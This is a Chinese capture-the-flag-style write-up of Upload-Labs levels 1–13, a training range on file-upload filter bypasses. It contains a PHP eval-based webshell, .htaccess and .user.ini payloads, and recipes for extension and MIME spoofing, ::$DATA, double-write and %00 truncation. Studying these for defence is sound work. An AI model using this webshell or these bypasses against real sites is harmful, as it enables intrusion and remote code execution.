首页 > 其他分享 >《Upload-Labs》01. Pass 1~13

《Upload-Labs》01. Pass 1~13

时间:2023-09-29 21:33:19浏览次数:41  
标签:文件 13 01 题解 Labs Pass 绕过 上传 DATA

@

目录


靶场部署在 VMware - Win7。

靶场地址:https://github.com/c0ny1/upload-labs

部分题目可能需要白盒审计。

索引

  • Pass-01:前端绕过。
  • Pass-02:MIME-Type 绕过。
  • Pass-03:黑名单绕过之 ::$DATA 与双写绕过。
  • Pass-04:.htaccess 利用。
  • Pass-05:.user.ini 利用。
  • Pass-06:黑名单绕过之大小写绕过。
  • Pass-07:黑名单绕过之空格绕过。
  • Pass-08:黑名单绕过之点【.】绕过。
  • Pass-09:黑名单绕过之 ::$DATA 绕过。
  • Pass-10:黑名单绕过之点空格点绕过。
  • Pass-11:黑名单绕过之双写绕过。
  • Pass-12:白名单绕过之 %00 截断绕过,GET 方式。
  • Pass-13:白名单绕过之 %00 截断绕过,POST 方式。

前言

编写一句话木马并更改后缀为 .jpg。之后的实验都基于这个木马。

<?php 
	echo 'Hello!';
	@eval($_POST['hello']);
?>

请添加图片描述

相关文章:

《一句话木马@eval($_POST[“cmd“]);是什么意思》
https://blog.csdn.net/qq_62708558/article/details/123030828

Pass-01

题解

任何前端验证都是纸老虎。

上传时使用 burp 拦截,并将文件后缀修改回 .php

在这里插入图片描述

上传成功,右键查看文件地址。

在这里插入图片描述

木马已成功执行。

在这里插入图片描述

尝试蚁剑连接,成功。

在这里插入图片描述

Pass-02

题解

上传文件并进行后缀与 Content-Type 绕过。

在这里插入图片描述

上传成功。

在这里插入图片描述

总结

MIME-Type,资源媒体类型。

MIME(Multipurpose Internet Mail Extensions),多功能网际邮件扩充协议。

  • MIME 设计的最初目的是为了在发送电子邮件时附加多媒体数据,让邮件客户程序能根据其类型进行处理。
  • 当 MIME 被 HTTP 协议支持后,使 HTTP 传输的不仅是普通的文本而变得丰富多彩。
  • 访问网页获得一个资源后,浏览器通过 MIME Type(媒体资源类型)标识资源类型,更准确的说,是通过 Content-Type 标识。
    • 例如:Content-Type: text/html
  • 通常只有广泛应用的格式才会获得一个 MIME Type,如果是自定义的格式,一般只能以 application/x- 开头。

常见的 MIME 类型

  • 超文本标记语言文本(.html、.htm):
    text/html
  • 普通文本(.txt):
    text/plain
  • RTF 文本(.rtf):
    application/rtf
  • GIF 图形(.gif):
    image/gif
  • JPEG 图形(.jpeg、.jpg):
    image/jpeg
  • au 声音文件(.au):
    audio/basic
  • MIDI 音乐文件(.mid、.midi):
    audio/midi, audio/x-midi
  • RealAudio音乐文件(.ra、.ram):
    audio/x-pn-realaudio
  • MPEG 文件(.mpg, .mpeg):
    video/mpeg
  • AVI 文件(.avi):
    video/x-msvideo
  • GZIP 文件(.gz):
    application/x-gzip
  • TAR 文件(.tar):
    application/x-tar

Pass-03

题解

之前的方法均失败。不过仍然是黑名单过滤。

由于靶场部署在 Windows,利用 Windows 保存文件的特性,尝试将后缀名改为 .php::$DATA

上传成功但无法访问。

在这里插入图片描述

猜测后端过滤了 ::$DATA,尝试以下后缀名(双写绕过):

.php::$D::$DATAATA

在这里插入图片描述

上传成功。

在这里插入图片描述

总结

::$DATA 是一个与 NTFS 文件系统相关的特殊数据流的命名约定,用于存储与文件关联的额外数据。

NTFS(New Technology File System)是 Windows 上常见的文件系统,支持文件的元数据和附加数据存储。

Windows 上,如果文件名 + ::$DATA,系统会把 ::$DATA 之后的数据当成文件流处理,且保持 ::$DATA 之前的文件名。

例如:文件名为:phpinfo.php::$DATA,Windows 会自动去掉 ::$DATA 将文件保存为 phpinfo.php

除此以外,服务端对不合法的后缀名进行替换为空是常用手段。

Pass-04

题解

这一题使用 .htaccess 文件进行黑名单绕过。但尝试了很多版本与配置都没办法复现。这里只记录大致过程。

创建一个 .htaccess 文件并写入以下内容。

<FilesMatch "520.jpg">
	SetHandler application/x-httpd-php
</FilesMatch>

先上传 .htaccess 文件,再上传 jpg 格式后门。即可过关。

但是失败了。可能实现条件比较苛刻。

这里附上几篇参考文章:

《文件上传-uploadlab通关手册》
https://blog.csdn.net/qq_51153463/article/details/124547943

《upload-labs通关总结|那些年踩过的坑》
https://blog.csdn.net/m0_56691564/article/details/127614557

Pass-05

题解

已知在靶场服务器的上传文件保存目录下存在 readme.php 文件。

先上传如下 .user.ini 文件。

auto_prepend_file=520.jpg

在这里插入图片描述

再上传木马,之后访问 readme.php 文件即可。

在这里插入图片描述

总结

参考文章:

《【文件上传漏洞】user.ini留后门》
https://blog.csdn.net/weixin_53146913/article/details/124840296

《文件上传:.user.ini的妙用》
https://blog.csdn.net/weixin_52635170/article/details/126962920

Pass-06

题解

上传检测基于黑名单,尝试使用大小写绕过。抓包修改,后缀名部分字母大写。

在这里插入图片描述

之后复制链接访问即可。

总结

对于文件名,Windows 系统对大小写不敏感。Linux 系统默认对大小写敏感,如需修改则需要特殊配置。

Pass-07

题解

使用空格绕过。

抓包修改后缀名,在文件名最后加上一个空格。

在这里插入图片描述

之后访问即可。

总结

Windows 下 x.jpg【空格】 或者 xx.jpg. 这两类文件是不允许存在的。

如果这样命名,系统在保存时会默认去除末尾的空格和点。

Pass-08

题解

使用点绕过。在文件名最后加上一个点。

在这里插入图片描述

上传成功。

总结

Windows 下 x.jpg【空格】 或者 xx.jpg. 这两类文件是不允许存在的。

如果这样命名,系统在保存时会默认去除末尾的空格和点。

Pass-09

题解

原理与 Pass-03 相同,::$DATA 绕过。

在这里插入图片描述

Pass-10

题解

点空格点绕过(利用验证规则不完善)。

在这里插入图片描述

Pass-11

题解

双写绕过。

在这里插入图片描述

服务端对不合法的后缀名进行替换为空是常用手段。

Pass-12

题解

这题通过代码审计可以发现发现 $img_path 变量可控。

使用 %00 截断,让后面的代码不执行。

在这里插入图片描述

在这里插入图片描述

总结

%00 截断:

  • 利用手动添加字符串标识符的方式来将后面的内容进行截断。
  • PHP <= 5.3.4。
  • php.ini 文件中 magic_quotes_gpc = Off。

Pass-13

题解

与 Pass-12 一样,$img_path 变量依旧可控,但是使用 POST 传送。

POST 传送的数据不需要编码,也就是说数据不会自动解码,此时需要使用 burp 解码。

在这里插入图片描述

在这里插入图片描述


为山者,基于一篑之土,以成千丈之峭;凿井者,起于三寸之坎,以就万仞之深。

——《刘子》(北齐)刘子

标签:文件,13,01,题解,Labs,Pass,绕过,上传,DATA
From: https://www.cnblogs.com/GCom/p/17737387.html

相关文章

  • Go每日一库之133:lo(基于泛型的 Golang lodash 库)
    近日,Go核心开发团队终于宣布了Go1.18正式版本的发布!这是一个大家期待很久的版本!Go1.18包含大量新功能:模糊测试、性能改进、工作区等,以及Go语言开源以来最大的一次语法特性变更——支持泛型!支持泛型后,我们便不再需要写如下冗余的代码:现在只需要简单的一行即可:funcMi......
  • Go每日一库之132:wasm与tinygo
    WASM的概念,这几年还是挺火的,新的语言,比如Rust、Go、Swift等,都对WASM提供支持。相比之下,Go语言的简单性,使得对WASM的支持,使用起来也较简单。本文是目前公开资料中为数不多较完整的教程,希望能对你有帮助。WASM是什么标题说:“Golang中的Wasm太棒了。”,但请用几句话来说......
  • Go每日一库之131:caddy(轻量web服务器)
    一直以来,我都是使用Nginx作为Web服务器,但是配置可以说是非常麻烦了。每次我要新开一个域名,都要先使用acme.sh签发SSL证书,然后再写配置,大概要花上5分钟的时间。曾经想过写个脚本自动完成这些工作,但是苦于对Linux的了解不多,也就作罢了。最近看到了Caddy,一个用Go写的......
  • Go每日一库之130:go-humanize(人性化显示)
    go-humanize是一个「人性化」的Go语言库,人性化的意思不是形容这个Go语言库,而是这个Go语言库实现的功能,它可以把数字、时间、容量等转换为我们人类容易理解的词语,比如硬盘的容量是82854982bytes,我们可不太好理解,但是如果说容量是83M,那就好理解了,go-humanize干的就是这个事情。......
  • Go每日一库之139:cmux (连接多路复用)
    如果一个应用需要同时对外提供HTTP和gRPC服务,通常情况下我们会为两个服务绑定不同的监听端口,而本文要介绍的cmux为我们提供了一种连接多路复用的新选择,使用cmux可以将不同服务绑定在同一个网络端口上!简介多路复用是个很常见的概念,我们在编写HTTP服务时通常会用http.S......
  • Go每日一库之138:dive(Docker 镜像分析)
    什么是dive?用于探索Docker镜像、每一层中的内容以及发现缩小Docker/OCI镜像大小的方法的工具。安装divego get github.com/wagoodman/divedive特性按层分解Docker镜像可视化展示每一层变化分析镜像空间使用百分比快速构建分析镜像支持多种镜像源和容器引擎......
  • Go每日一库之137:easeprobe(探活工具)
    服务探活在现实场景中应用广泛,比如:服务发现、服务负载均衡、服务调度、服务状态监控等。然而,“探活”往往是作为一个功能模块或者组件集成在各个平台系统中。本次要介绍的easeprobe是一款轻量级的,可独立运行的探活工具,利用easeprobe,无需其他系统支持,就可以对多种类型的服务/中间件......
  • Go每日一库之136:gopherjs(将Go代码编译成JS)
    简介GopherJS可以将Go代码编译成纯JavaScript代码。其主要目的是为了让你可以使用Go来编写前端代码,这些代码可执行在浏览器上运行。你可以通过这里尝试下GopherJS:GopherJSPlayground.例如JavaScript代码:document.write("Hello world!");用GopherJS来写就变成这......
  • Go每日一库之135:Ent(Facebook 开源 Golang 实体框架)
    对于后端开发者来说,一款好用的框架能够大大提升应用的开发效率。为了降低开发者使用TiDB的门槛,方便开发者快速连接到TiDB,我们也在和合作伙伴一起,逐步完善面向主流开发语言和框架的连接支持。近日,Facebook开源的Golang实体框架Ent完成了对TiDB数据库的支持。Ent是......
  • Go每日一库之134:fsm(基有限状态机库)
    开发中,我们经常会遇到这种情况,服务模块有多种状态,它们有一定的顺序,先后执行,逐步切换。这时,fsm这个库可以帮助我们更好的管理多个状态。fsm库,它主要基于两个FSM实现,增加了golang版本的实现:JavascriptFiniteStateMachine,https://github.com/jakesgordon/javascript-state-ma......